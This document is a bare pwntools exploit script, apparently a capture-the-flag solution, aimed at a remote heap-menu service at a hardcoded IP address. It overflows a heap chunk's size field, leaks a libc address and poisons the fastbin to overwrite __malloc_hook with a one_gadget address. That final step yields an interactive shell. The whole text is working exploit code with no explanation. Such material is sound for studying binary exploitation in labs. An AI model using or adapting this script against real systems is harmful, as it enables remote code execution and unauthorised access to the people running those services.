1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import* context(log_level='debug',arch='amd64',os='linux')
p=remote('39.106.48.123',35999) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1)
def add(lenth,content): ru('Exit') sd(b'1') ru('length') sd(str(lenth)) rl() sd(content)
def edit(lenth,content): ru('Exit') sd(b'4') rl() sd(str(lenth)) rl() sd(content)
def dele(): ru('Exit') sd(b'3')
def show(): ru('Exit') sd(b'2') sl('AAAA')
add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x1000,b'AAAAA') add(0x1000,b'BBBB') add(0x1000,b'BBBB') add(0x1000,b"BBBB") add(0x88,b"bb")
edit(0x8f,b'A'*(0x88)+p32(0xd71))
add(0x1000,b"ABCDEFGHIJKLMN")
add(0x60,b'BB')
show() ru('\x7f') libc = ELF('/home/kali/Desktop/libc-2.23.so') arena = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) hook = arena - 0x88 - 3 - 0x600 libc_base = arena -(0x7f96b13c4b78 -0x7f96b1000000 )-0x600 print(hex(arena)) print(hex(libc_base)) one_gadget = libc_base + 0xf03a4 dele()
payload = b'\x00'*19 + p64(one_gadget)
edit(8,p64(hook))
add(0x60,payload)
add(0x60,payload)
sd(b'1') rl() sd(b'80')
p.interactive()
|